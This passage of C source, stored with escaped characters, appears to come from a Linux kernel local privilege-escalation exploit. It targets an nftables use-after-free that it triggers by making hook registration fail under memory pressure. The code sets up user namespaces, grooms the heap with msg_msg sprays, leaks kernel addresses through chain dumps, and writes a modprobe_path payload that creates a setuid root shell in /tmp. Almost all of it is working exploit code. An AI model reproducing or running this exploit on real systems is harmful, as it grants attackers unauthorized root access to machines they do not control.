NLM_F_CREATE | NLM_F_ACK,\\r\\n                       family);\\r\\n\\r\\n    nl_put_str(\\u0026b, NFTA_CHAIN_TABLE, table);\\r\\n    nl_put_str(\\u0026b, NFTA_CHAIN_NAME, chain_name);\\r\\n\\r\\n    if (hooknum \\u003e= 0) {\\r\\n        \/* Base chain with hook *\/\\r\\n        hook_nest = nl_nest_begin(\\u0026b, NFTA_CHAIN_HOOK);\\r\\n        nl_put_be32(\\u0026b, NFTA_HOOK_HOOKNUM, (uint32_t)hooknum);\\r\\n        nl_put_be32(\\u0026b, NFTA_HOOK_PRIORITY, (uint32_t)priority);\\r\\n        nl_nest_end(\\u0026b, hook_nest);\\r\\n\\r\\n        \/* Policy: accept *\/\\r\\n        nl_put_be32(\\u0026b, NFTA_CHAIN_POLICY, NF_ACCEPT);\\r\\n    }\\r\\n\\r\\n    nl_msg_end(\\u0026b, nlh);\\r\\n\\r\\n    int ret = nfnl_batch_send(fd, \\u0026b);\\r\\n    nl_free(\\u0026b);\\r\\n    return ret;\\r\\n}\\r\\n\\r\\nstatic int nft_delete_table(int fd, uint8_t family, const char *name)\\r\\n{\\r\\n    struct nl_builder b;\\r\\n    struct nlmsghdr *nlh;\\r\\n\\r\\n    nl_init(\\u0026b);\\r\\n    nlh = nl_msg_begin(\\u0026b,\\r\\n                       (NFNL_SUBSYS_NFTABLES \\u003c\\u003c 8) | NFT_MSG_DELTABLE,\\r\\n                       NLM_F_ACK,\\r\\n                       family);\\r\\n    nl_put_str(\\u0026b, NFTA_TABLE_NAME, name);\\r\\n    nl_msg_end(\\u0026b, nlh);\\r\\n\\r\\n    int ret = nfnl_batch_send(fd, \\u0026b);\\r\\n    nl_free(\\u0026b);\\r\\n    return ret;\\r\\n}\\r\\n\\r\\n\/*\\r\\n * Start a chain dump request (NLM_F_DUMP).\\r\\n * This triggers nf_tables_dump_chains() in the kernel which iterates\\r\\n * table-\\u003echains under rcu_read_lock().\\r\\n *\/\\r\\nstatic int nft_dump_chains(int fd, uint8_t family)\\r\\n{\\r\\n    char buf[256];\\r\\n    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;\\r\\n    struct nfgenmsg *nfg;\\r\\n\\r\\n    memset(buf, 0, sizeof(buf));\\r\\n\\r\\n    nlh-\\u003enlmsg_len = NLMSG_LENGTH(sizeof(*nfg));\\r\\n    nlh-\\u003enlmsg_type = (NFNL_SUBSYS_NFTABLES \\u003c\\u003c 8) | NFT_MSG_GETCHAIN;\\r\\n    nlh-\\u003enlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;\\r\\n    nlh-\\u003enlmsg_seq = 9999;\\r\\n\\r\\n    nfg = NLMSG_DATA(nlh);\\r\\n    nfg-\\u003enfgen_family = family;\\r\\n    nfg-\\u003eversion = NFNETLINK_V0;\\r\\n    nfg-\\u003eres_id = htons(0);\\r\\n\\r\\n    struct sockaddr_nl sa;\\r\\n    memset(\\u0026sa, 0, sizeof(sa));\\r\\n    sa.nl_family = AF_NETLINK;\\r\\n\\r\\n    return (int)sendto(fd, buf, nlh-\\u003enlmsg_len, 0,\\r\\n                       (struct sockaddr *)\\u0026sa, sizeof(sa));\\r\\n}\\r\\n\\r\\n\/*\\r\\n * Read dump response. Extracts chain handles and table pointers from\\r\\n * the netlink attributes for leak analysis.\\r\\n *\/\\r\\nstatic int nft_read_dump(int fd, uint64_t *leaked_handle, int *chain_count)\\r\\n{\\r\\n    char buf[16384];\\r\\n    struct sockaddr_nl sa;\\r\\n    int done = 0;\\r\\n\\r\\n    *leaked_handle = 0;\\r\\n    *chain_count = 0;\\r\\n\\r\\n    while (!done) {\\r\\n        socklen_t salen = sizeof(sa);\\r\\n        ssize_t len = recvfrom(fd, buf, sizeof(buf), 0,\\r\\n                               (struct sockaddr *)\\u0026sa, \\u0026salen);\\r\\n        if (len \\u003c 0) {\\r\\n            if (errno == EAGAIN || errno == EWOULDBLOCK)\\r\\n                break;\\r\\n            return -1;\\r\\n        }\\r\\n\\r\\n        struct nlmsghdr *nlh;\\r\\n        for (nlh = (struct nlmsghdr *)buf;\\r\\n             NLMSG_OK(nlh, (unsigned int)len);\\r\\n             nlh = NLMSG_NEXT(nlh, len)) {\\r\\n\\r\\n            if (nlh-\\u003enlmsg_type == NLMSG_DONE) {\\r\\n                done = 1;\\r\\n                break;\\r\\n            }\\r\\n            if (nlh-\\u003enlmsg_type == NLMSG_ERROR) {\\r\\n                struct nlmsgerr *err = NLMSG_DATA(nlh);\\r\\n                if (err-\\u003eerror != 0) {\\r\\n                    return err-\\u003eerror;\\r\\n                }\\r\\n                continue;\\r\\n            }\\r\\n\\r\\n            \/* Parse chain attributes *\/\\r\\n            struct nfgenmsg *nfg = NLMSG_DATA(nlh);\\r\\n            struct nlattr *attr;\\r\\n            int attrlen = (int)(nlh-\\u003enlmsg_len &#8211; NLMSG_LENGTH(sizeof(*nfg)));\\r\\n            (void)nfg;\\r\\n\\r\\n            for (attr = (struct nlattr *)((char *)nfg + sizeof(*nfg));\\r\\n                 attrlen \\u003e 0 \\u0026\\u0026 attrlen \\u003e= (int)attr-\\u003enla_len \\u0026\\u0026 attr-\\u003enla_len \\u003e= sizeof(*attr);\\r\\n                 attr = (struct nlattr *)((char *)attr + ((attr-\\u003enla_len + 3) \\u0026 ~3u))) {\\r\\n\\r\\n                uint16_t atype = attr-\\u003enla_type \\u0026 0x7fff;\\r\\n                if (atype == NFTA_CHAIN_HANDLE \\u0026\\u0026 attr-\\u003enla_len \\u003e= sizeof(*attr) + 8) {\\r\\n                    uint64_t handle;\\r\\n                    memcpy(\\u0026handle, (char *)(attr + 1), 8);\\r\\n                    *leaked_handle = handle;\\r\\n                }\\r\\n                attrlen -= (int)((attr-\\u003enla_len + 3) \\u0026 ~3u);\\r\\n            }\\r\\n\\r\\n            (*chain_count)++;\\r\\n        }\\r\\n    }\\r\\n\\r\\n    return 0;\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 User namespace setup \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nstatic int setup_namespace(void)\\r\\n{\\r\\n    \/*\\r\\n     * Create a user namespace + network namespace.\\r\\n     * Inside, we get CAP_NET_ADMIN which is required for nftables.\\r\\n     *\/\\r\\n    if (unshare(CLONE_NEWUSER | CLONE_NEWNET) \\u003c 0) {\\r\\n        fail(\\&#8221;unshare(CLONE_NEWUSER | CLONE_NEWNET): %s\\&#8221;, strerror(errno));\\r\\n        fail(\\&#8221;Hint: Check \/proc\/sys\/kernel\/unprivileged_userns_clone\\&#8221;);\\r\\n        return -1;\\r\\n    }\\r\\n\\r\\n    \/* Write UID\/GID mapping *\/\\r\\n    FILE *f;\\r\\n    char path[128];\\r\\n\\r\\n    snprintf(path, sizeof(path), \\&#8221;\/proc\/%d\/setgroups\\&#8221;, getpid());\\r\\n    f = fopen(path, \\&#8221;w\\&#8221;);\\r\\n    if (f) {\\r\\n        fprintf(f, \\&#8221;deny\\\\n\\&#8221;);\\r\\n        fclose(f);\\r\\n    }\\r\\n\\r\\n    snprintf(path, sizeof(path), \\&#8221;\/proc\/%d\/uid_map\\&#8221;, getpid());\\r\\n    f = fopen(path, \\&#8221;w\\&#8221;);\\r\\n    if (!f) { fail(\\&#8221;uid_map: %s\\&#8221;, strerror(errno)); return -1; }\\r\\n    fprintf(f, \\&#8221;0 %d 1\\\\n\\&#8221;, getuid());\\r\\n    fclose(f);\\r\\n\\r\\n    snprintf(path, sizeof(path), \\&#8221;\/proc\/%d\/gid_map\\&#8221;, getpid());\\r\\n    f = fopen(path, \\&#8221;w\\&#8221;);\\r\\n    if (!f) { fail(\\&#8221;gid_map: %s\\&#8221;, strerror(errno)); return -1; }\\r\\n    fprintf(f, \\&#8221;0 %d 1\\\\n\\&#8221;, getgid());\\r\\n    fclose(f);\\r\\n\\r\\n    return 0;\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 Memory pressure for triggering OOM on hook allocation \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\n\/*\\r\\n * Apply memory pressure to increase the probability that kvzalloc()\\r\\n * inside __nf_register_net_hook() fails. We do this by consuming\\r\\n * available memory in the current cgroup or globally.\\r\\n *\\r\\n * Note: This is probabilistic, not deterministic. On systems with\\r\\n * abundant memory, this may require many more spray allocations.\\r\\n *\/\\r\\nstatic void *pressure_mem = NULL;\\r\\nstatic size_t pressure_size = 0;\\r\\n\\r\\nstatic void apply_memory_pressure(void)\\r\\n{\\r\\n    \/*\\r\\n     * Try to consume memory to create pressure.\\r\\n     * Start with 256MB and scale down if mmap fails.\\r\\n     *\/\\r\\n    size_t sizes[] = { 256UL*1024*1024, 128UL*1024*1024,\\r\\n                       64UL*1024*1024, 32UL*1024*1024, 0 };\\r\\n\\r\\n    for (int i = 0; sizes[i] \\u003e 0; i++) {\\r\\n        pressure_mem = mmap(NULL, sizes[i], PROT_READ | PROT_WRITE,\\r\\n                            MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE,\\r\\n                            -1, 0);\\r\\n        if (pressure_mem != MAP_FAILED) {\\r\\n            pressure_size = sizes[i];\\r\\n            \/* Touch pages to actually commit memory *\/\\r\\n            memset(pressure_mem, &#8216;A&#8217;, pressure_size);\\r\\n            return;\\r\\n        }\\r\\n    }\\r\\n\\r\\n    pressure_mem = NULL;\\r\\n    pressure_size = 0;\\r\\n}\\r\\n\\r\\nstatic void release_memory_pressure(void)\\r\\n{\\r\\n    if (pressure_mem \\u0026\\u0026 pressure_mem != MAP_FAILED) {\\r\\n        munmap(pressure_mem, pressure_size);\\r\\n        pressure_mem = NULL;\\r\\n        pressure_size = 0;\\r\\n    }\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 msg_msg spray \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nstruct spray_state {\\r\\n    int qid;\\r\\n    int count;\\r\\n};\\r\\n\\r\\nstruct spray_msg {\\r\\n    long mtype;\\r\\n    char mtext[SPRAY_MSG_SIZE];\\r\\n};\\r\\n\\r\\nstatic int spray_init(struct spray_state *s)\\r\\n{\\r\\n    s-\\u003eqid = msgget(IPC_PRIVATE, IPC_CREAT | 0666);\\r\\n    if (s-\\u003eqid \\u003c 0)\\r\\n        return -1;\\r\\n    s-\\u003ecount = 0;\\r\\n    return 0;\\r\\n}\\r\\n\\r\\nstatic int spray_alloc(struct spray_state *s, int n, const void *data, size_t datalen)\\r\\n{\\r\\n    struct spray_msg msg;\\r\\n    memset(\\u0026msg, 0, sizeof(msg));\\r\\n\\r\\n    if (datalen \\u003e SPRAY_MSG_SIZE)\\r\\n        datalen = SPRAY_MSG_SIZE;\\r\\n    if (data)\\r\\n        memcpy(msg.mtext, data, datalen);\\r\\n\\r\\n    for (int i = 0; i \\u003c n; i++) {\\r\\n        msg.mtype = s-\\u003ecount + 1;\\r\\n        if (msgsnd(s-\\u003eqid, \\u0026msg, SPRAY_MSG_SIZE, 0) \\u003c 0)\\r\\n            return -1;\\r\\n        s-\\u003ecount++;\\r\\n    }\\r\\n    return 0;\\r\\n}\\r\\n\\r\\nstatic int spray_free(struct spray_state *s, int n)\\r\\n{\\r\\n    struct spray_msg msg;\\r\\n\\r\\n    for (int i = 0; i \\u003c n \\u0026\\u0026 s-\\u003ecount \\u003e 0; i++) {\\r\\n        if (msgrcv(s-\\u003eqid, \\u0026msg, SPRAY_MSG_SIZE, 0, IPC_NOWAIT) \\u003c 0)\\r\\n            return -1;\\r\\n        s-\\u003ecount&#8211;;\\r\\n    }\\r\\n    return 0;\\r\\n}\\r\\n\\r\\nstatic void spray_cleanup(struct spray_state *s)\\r\\n{\\r\\n    if (s-\\u003eqid \\u003e= 0) {\\r\\n        msgctl(s-\\u003eqid, IPC_RMID, NULL);\\r\\n        s-\\u003eqid = -1;\\r\\n    }\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 Modprobe path overwrite \\u0026 privilege escalation \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nstatic int setup_modprobe_payload(void)\\r\\n{\\r\\n    FILE *f;\\r\\n\\r\\n    \/* Create the helper script that will be called as root *\/\\r\\n    f = fopen(\\&#8221;\/tmp\/pwn\\&#8221;, \\&#8221;w\\&#8221;);\\r\\n    if (!f) return -1;\\r\\n    fprintf(f, \\&#8221;#!\/bin\/sh\\\\n\\&#8221;);\\r\\n    fprintf(f, \\&#8221;\/bin\/cp \/bin\/sh \/tmp\/rootsh\\\\n\\&#8221;);\\r\\n    fprintf(f, \\&#8221;\/bin\/chmod u+s \/tmp\/rootsh\\\\n\\&#8221;);\\r\\n    fclose(f);\\r\\n    chmod(\\&#8221;\/tmp\/pwn\\&#8221;, 0755);\\r\\n\\r\\n    \/* Create an invalid binary that triggers call_usermodehelper *\/\\r\\n    f = fopen(\\&#8221;\/tmp\/trigger\\&#8221;, \\&#8221;w\\&#8221;);\\r\\n    if (!f) return -1;\\r\\n    \/* Invalid ELF magic \u2192 kernel calls modprobe_path to handle it *\/\\r\\n    fprintf(f, \\&#8221;\\\\xff\\\\xff\\\\xff\\\\xff\\&#8221;);\\r\\n    fclose(f);\\r\\n    chmod(\\&#8221;\/tmp\/trigger\\&#8221;, 0755);\\r\\n\\r\\n    return 0;\\r\\n}\\r\\n\\r\\nstatic int trigger_modprobe(void)\\r\\n{\\r\\n    \/* Execute the invalid binary \u2014 kernel will call modprobe_path *\/\\r\\n    pid_t pid = fork();\\r\\n    if (pid \\u003c 0) return -1;\\r\\n    if (pid == 0) {\\r\\n        execl(\\&#8221;\/tmp\/trigger\\&#8221;, \\&#8221;\/tmp\/trigger\\&#8221;, NULL);\\r\\n        _exit(127);\\r\\n    }\\r\\n    int status;\\r\\n    waitpid(pid, \\u0026status, 0);\\r\\n\\r\\n    \/* Check if \/tmp\/rootsh was created with suid bit *\/\\r\\n    struct stat st;\\r\\n    if (stat(\\&#8221;\/tmp\/rootsh\\&#8221;, \\u0026st) == 0 \\u0026\\u0026 (st.st_mode \\u0026 S_ISUID)) {\\r\\n        return 0; \/* success! *\/\\r\\n    }\\r\\n    return -1;\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 Race coordination \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nstruct race_ctx {\\r\\n    int             nfnl_fd;       \/* nfnetlink socket for operations *\/\\r\\n    int             dump_fd;       \/* nfnetlink socket for dump *\/\\r\\n    struct spray_state spray;\\r\\n    volatile int    uaf_triggered;\\r\\n    volatile int    dump_started;\\r\\n    volatile int    stop;\\r\\n    uint64_t        leaked_addr;\\r\\n    int             attempt;\\r\\n};\\r\\n\\r\\n\/*\\r\\n * Dump thread: continuously requests chain dumps and reads responses.\\r\\n * When the UAF fires, the dump may read stale\/sprayed data from the\\r\\n * freed base_chain, leaking kernel addresses or reading controlled data.\\r\\n *\/\\r\\nstatic void *dump_thread(void *arg)\\r\\n{\\r\\n    struct race_ctx *ctx = (struct race_ctx *)arg;\\r\\n    char recvbuf[16384];\\r\\n\\r\\n    while (!ctx-\\u003estop) {\\r\\n        \/* Start a dump *\/\\r\\n        if (nft_dump_chains(ctx-\\u003edump_fd, NFPROTO_INET) \\u003c 0) {\\r\\n            usleep(1000);\\r\\n            continue;\\r\\n        }\\r\\n        ctx-\\u003edump_started = 1;\\r\\n\\r\\n        \/* Read dump responses \u2014 looking for anomalous data *\/\\r\\n        struct sockaddr_nl sa;\\r\\n        socklen_t salen = sizeof(sa);\\r\\n        int done = 0;\\r\\n\\r\\n        while (!done \\u0026\\u0026 !ctx-\\u003estop) {\\r\\n            ssize_t len = recvfrom(ctx-\\u003edump_fd, recvbuf, sizeof(recvbuf),\\r\\n                                   MSG_DONTWAIT,\\r\\n                                   (struct sockaddr *)\\u0026sa, \\u0026salen);\\r\\n            if (len \\u003c 0) {\\r\\n                if (errno == EAGAIN) {\\r\\n                    usleep(100);\\r\\n                    continue;\\r\\n                }\\r\\n                break;\\r\\n            }\\r\\n\\r\\n            struct nlmsghdr *nlh;\\r\\n            for (nlh = (struct nlmsghdr *)recvbuf;\\r\\n                 NLMSG_OK(nlh, (unsigned int)len);\\r\\n                 nlh = NLMSG_NEXT(nlh, len)) {\\r\\n\\r\\n                if (nlh-\\u003enlmsg_type == NLMSG_DONE) {\\r\\n                    done = 1;\\r\\n                    break;\\r\\n                }\\r\\n                if (nlh-\\u003enlmsg_type == NLMSG_ERROR)\\r\\n                    continue;\\r\\n\\r\\n                \/*\\r\\n                 * Parse chain attributes. If we see anomalous handle\\r\\n                 * values or unexpected chain names, the UAF was hit and\\r\\n                 * we&#8217;re reading from sprayed\/stale memory.\\r\\n                 *\/\\r\\n                struct nfgenmsg *nfg = NLMSG_DATA(nlh);\\r\\n                struct nlattr *attr;\\r\\n                int attrlen = (int)(nlh-\\u003enlmsg_len &#8211; NLMSG_LENGTH(sizeof(*nfg)));\\r\\n                (void)nfg;\\r\\n\\r\\n                for (attr = (struct nlattr *)((char *)nfg + sizeof(*nfg));\\r\\n                     attrlen \\u003e 0 \\u0026\\u0026 attrlen \\u003e= (int)attr-\\u003enla_len \\u0026\\u0026\\r\\n                     attr-\\u003enla_len \\u003e= sizeof(*attr);\\r\\n                     attr = (struct nlattr *)((char *)attr + ((attr-\\u003enla_len + 3) \\u0026 ~3u))) {\\r\\n\\r\\n                    uint16_t atype = attr-\\u003enla_type \\u0026 0x7fff;\\r\\n\\r\\n                    if (atype == NFTA_CHAIN_HANDLE \\u0026\\u0026\\r\\n                        attr-\\u003enla_len \\u003e= sizeof(*attr) + 8) {\\r\\n                        uint64_t handle;\\r\\n                        memcpy(\\u0026handle, (char *)(attr + 1), 8);\\r\\n\\r\\n                        \/*\\r\\n                         * Normal handles are small sequential numbers.\\r\\n                         * If we see a handle that looks like a kernel\\r\\n                         * address (0xffff8880&#8230;), we&#8217;ve hit the UAF\\r\\n                         * and are reading from sprayed msg_msg data.\\r\\n                         *\/\\r\\n                        uint64_t handle_be = __builtin_bswap64(handle);\\r\\n                        if ((handle_be \\u0026 0xffff000000000000ULL) == 0xffff000000000000ULL) {\\r\\n                            ctx-\\u003eleaked_addr = handle_be;\\r\\n                            ok(\\&#8221;LEAK detected in dump! handle=0x%016lx\\&#8221;,\\r\\n                               (unsigned long)handle_be);\\r\\n                        }\\r\\n                    }\\r\\n                    attrlen -= (int)((attr-\\u003enla_len + 3) \\u0026 ~3u);\\r\\n                }\\r\\n            }\\r\\n        }\\r\\n\\r\\n        usleep(500);\\r\\n    }\\r\\n\\r\\n    return NULL;\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 Main exploitation steps \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nstatic int step_setup(struct race_ctx *ctx)\\r\\n{\\r\\n    info(\\&#8221;Step 1: Creating user\/net namespace&#8230;\\&#8221;);\\r\\n\\r\\n    if (setup_namespace() \\u003c 0)\\r\\n        return -1;\\r\\n    ok(\\&#8221;Namespace created, CAP_NET_ADMIN obtained\\&#8221;);\\r\\n\\r\\n    \/* Open nfnetlink sockets *\/\\r\\n    ctx-\\u003enfnl_fd = nfnl_open();\\r\\n    if (ctx-\\u003enfnl_fd \\u003c 0) {\\r\\n        fail(\\&#8221;Cannot open nfnetlink socket: %s\\&#8221;, strerror(errno));\\r\\n        return -1;\\r\\n    }\\r\\n\\r\\n    ctx-\\u003edump_fd = nfnl_open();\\r\\n    if (ctx-\\u003edump_fd \\u003c 0) {\\r\\n        fail(\\&#8221;Cannot open dump socket: %s\\&#8221;, strerror(errno));\\r\\n        return -1;\\r\\n    }\\r\\n\\r\\n    \/* Set dump socket to non-blocking for the race *\/\\r\\n    int flags = fcntl(ctx-\\u003edump_fd, F_GETFL, 0);\\r\\n    if (flags \\u003e= 0)\\r\\n        fcntl(ctx-\\u003edump_fd, F_SETFL, flags | O_NONBLOCK);\\r\\n\\r\\n    \/* Initialize spray *\/\\r\\n    if (spray_init(\\u0026ctx-\\u003espray) \\u003c 0) {\\r\\n        fail(\\&#8221;Cannot create message queue: %s\\&#8221;, strerror(errno));\\r\\n        return -1;\\r\\n    }\\r\\n\\r\\n    return 0;\\r\\n}\\r\\n\\r\\nstatic int step_prepare_heap(struct race_ctx *ctx)\\r\\n{\\r\\n    info(\\&#8221;Step 2: Setting up nftables infrastructure&#8230;\\&#8221;);\\r\\n\\r\\n    \/* Create table *\/\\r\\n    if (nft_create_table(ctx-\\u003enfnl_fd, NFPROTO_INET, TABLE_NAME) \\u003c 0) {\\r\\n        fail(\\&#8221;Cannot create table: %s\\&#8221;, strerror(errno));\\r\\n        return -1;\\r\\n    }\\r\\n\\r\\n    \/* Drain netlink acks *\/\\r\\n    char ack_buf[4096];\\r\\n    while (recv(ctx-\\u003enfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT) \\u003e 0)\\r\\n        ;\\r\\n\\r\\n    \/*\\r\\n     * Create padding chains to fill kmalloc-256 slab pages.\\r\\n     * These are base chains (with hooks) so they allocate nft_base_chain\\r\\n     * in the same cache as our victim.\\r\\n     * Use NF_INET_PRE_ROUTING hook at different priorities.\\r\\n     *\/\\r\\n    for (int i = 0; i \\u003c NUM_PAD_CHAINS; i++) {\\r\\n        char name[32];\\r\\n        snprintf(name, sizeof(name), PAD_CHAIN_FMT, i);\\r\\n\\r\\n        if (nft_create_chain(ctx-\\u003enfnl_fd, NFPROTO_INET, TABLE_NAME,\\r\\n                             name, NF_INET_PRE_ROUTING, i + 100) \\u003c 0) {\\r\\n            \/* Some chains may fail to register hooks (expected under\\r\\n             * memory pressure), continue with what we have *\/\\r\\n            if (i \\u003c 4) {\\r\\n                fail(\\&#8221;Cannot create padding chains (need at least 4): %s\\&#8221;,\\r\\n                     strerror(errno));\\r\\n                return -1;\\r\\n            }\\r\\n            break;\\r\\n        }\\r\\n\\r\\n        \/* Drain acks *\/\\r\\n        while (recv(ctx-\\u003enfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT) \\u003e 0)\\r\\n            ;\\r\\n    }\\r\\n\\r\\n    ok(\\&#8221;Table and %d padding chains created\\&#8221;, NUM_PAD_CHAINS);\\r\\n    return 0;\\r\\n}\\r\\n\\r\\nstatic int step_trigger_uaf(struct race_ctx *ctx)\\r\\n{\\r\\n    info(\\&#8221;Step 3: Triggering UAF via hook registration failure&#8230;\\&#8221;);\\r\\n\\r\\n    \/*\\r\\n     * Apply memory pressure to increase the chance that kvzalloc()\\r\\n     * inside __nf_register_net_hook() fails for the IPv6 hook.\\r\\n     *\/\\r\\n    apply_memory_pressure();\\r\\n\\r\\n    \/*\\r\\n     * Attempt to create a new base chain. If the IPv6 hook allocation\\r\\n     * fails, we get the UAF: the chain is published, then freed without\\r\\n     * synchronize_rcu().\\r\\n     *\\r\\n     * We try multiple times because the OOM is probabilistic.\\r\\n     *\/\\r\\n    char ack_buf[4096];\\r\\n    int triggered = 0;\\r\\n\\r\\n    for (int attempt = 0; attempt \\u003c MAX_ATTEMPTS \\u0026\\u0026 !triggered; attempt++) {\\r\\n        char name[32];\\r\\n        snprintf(name, sizeof(name), \\&#8221;vuln_%04d\\&#8221;, attempt);\\r\\n\\r\\n        \/*\\r\\n         * Try to create a chain. The nfnetlink batch will return\\r\\n         * ENOMEM if hook registration fails.\\r\\n         *\/\\r\\n        int ret = nft_create_chain(ctx-\\u003enfnl_fd, NFPROTO_INET, TABLE_NAME,\\r\\n                                   name, NF_INET_PRE_ROUTING, 10000 + attempt);\\r\\n        if (ret \\u003c 0) {\\r\\n            fail(\\&#8221;sendmsg failed: %s\\&#8221;, strerror(errno));\\r\\n            continue;\\r\\n        }\\r\\n\\r\\n        \/* Read the ack\/error response *\/\\r\\n        usleep(1000);\\r\\n        ssize_t alen = recv(ctx-\\u003enfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT);\\r\\n        if (alen \\u003e 0) {\\r\\n            struct nlmsghdr *nlh = (struct nlmsghdr *)ack_buf;\\r\\n            if (nlh-\\u003enlmsg_type == NLMSG_ERROR) {\\r\\n                struct nlmsgerr *err = NLMSG_DATA(nlh);\\r\\n                if (err-\\u003eerror == -ENOMEM) {\\r\\n                    ok(\\&#8221;Hook registration failed with ENOMEM on attempt %d \u2014 UAF triggered!\\&#8221;,\\r\\n                       attempt + 1);\\r\\n                    triggered = 1;\\r\\n                    ctx-\\u003euaf_triggered = 1;\\r\\n                } else if (err-\\u003eerror == 0) {\\r\\n                    \/* Success \u2014 chain was created normally, no UAF *\/\\r\\n                    \/* Continue trying *\/\\r\\n                } else {\\r\\n                    \/* Other error *\/\\r\\n                    info(\\&#8221;Chain creation returned error %d on attempt %d\\&#8221;,\\r\\n                         err-\\u003eerror, attempt + 1);\\r\\n                }\\r\\n            }\\r\\n        }\\r\\n\\r\\n        \/* Drain remaining messages *\/\\r\\n        while (recv(ctx-\\u003enfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT) \\u003e 0)\\r\\n            ;\\r\\n    }\\r\\n\\r\\n    release_memory_pressure();\\r\\n\\r\\n    if (!triggered) {\\r\\n        \/*\\r\\n         * Memory pressure alone may not be enough to trigger OOM on\\r\\n         * hook allocation. On systems with abundant memory, this\\r\\n         * technique has a lower success rate.\\r\\n         *\\r\\n         * Alternative: use cgroup v2 memory controller for deterministic\\r\\n         * OOM. This requires mounting cgroupfs which may not be available\\r\\n         * in all namespace configurations.\\r\\n         *\/\\r\\n        fail(\\&#8221;Could not trigger hook registration failure after %d attempts\\&#8221;,\\r\\n             MAX_ATTEMPTS);\\r\\n        fail(\\&#8221;Hint: Try running in a memory-constrained environment (container, cgroup)\\&#8221;);\\r\\n        return -1;\\r\\n    }\\r\\n\\r\\n    return 0;\\r\\n}\\r\\n\\r\\nstatic int step_spray(struct race_ctx *ctx)\\r\\n{\\r\\n    info(\\&#8221;Step 4: Spraying freed slot with msg_msg&#8230;\\&#8221;);\\r\\n\\r\\n    \/*\\r\\n     * Spray msg_msg of SPRAY_MSG_SIZE body (+ 48 header = ~256 total)\\r\\n     * into kmalloc-256 to reclaim the freed nft_base_chain slot.\\r\\n     *\\r\\n     * The spray data is crafted so that:\\r\\n     * &#8211; At chain-\\u003ename offset (relative to base_chain): points to a\\r\\n     *   known valid address (or is NULL to avoid dereference)\\r\\n     * &#8211; At chain-\\u003ehandle offset: contains a marker value we can detect\\r\\n     * &#8211; At chain-\\u003etable offset: contains the address of modprobe_path\\r\\n     *   (if we have a leak) or a known pattern for detection\\r\\n     *\/\\r\\n    char spray_data[SPRAY_MSG_SIZE];\\r\\n    memset(spray_data, 0x41, sizeof(spray_data));\\r\\n\\r\\n    \/*\\r\\n     * Place marker at chain-\\u003ehandle offset within the msg_msg body.\\r\\n     *\\r\\n     * chain starts at base_chain + 0x50 (offset 80).\\r\\n     * chain-\\u003ehandle is at chain + 0x48 (offset 72 within chain).\\r\\n     * So handle is at base_chain + 0x50 + 0x48 = 0x98 (offset 152).\\r\\n     * In msg_msg body: offset 152 &#8211; 48 (header) = 104.\\r\\n     *\\r\\n     * We place a distinctive marker here so the dump can detect\\r\\n     * that it&#8217;s reading sprayed data (confirming the UAF hit).\\r\\n     *\/\\r\\n    uint64_t marker = 0xdeadbeefcafe1337ULL;\\r\\n    if (104 + 8 \\u003c= SPRAY_MSG_SIZE) {\\r\\n        memcpy(spray_data + 104, \\u0026marker, 8);\\r\\n    }\\r\\n\\r\\n    \/*\\r\\n     * At chain-\\u003ename offset: base_chain + 0x50 + 0x58 = 0xA8 (168).\\r\\n     * In msg_msg body: 168 &#8211; 48 = 120.\\r\\n     * Set to NULL to prevent the dump from dereferencing a wild pointer.\\r\\n     * (The dump&#8217;s nla_put_string will skip or handle NULL gracefully\\r\\n     * on some kernel versions, or we may need to set this to a valid\\r\\n     * kernel address from our leak.)\\r\\n     *\/\\r\\n    uint64_t null_ptr = 0;\\r\\n    if (120 + 8 \\u003c= SPRAY_MSG_SIZE) {\\r\\n        memcpy(spray_data + 120, \\u0026null_ptr, 8);\\r\\n    }\\r\\n\\r\\n    if (spray_alloc(\\u0026ctx-\\u003espray, NUM_SPRAY_MSGS, spray_data, sizeof(spray_data)) \\u003c 0) {\\r\\n        fail(\\&#8221;Spray allocation failed: %s\\&#8221;, strerror(errno));\\r\\n        return -1;\\r\\n    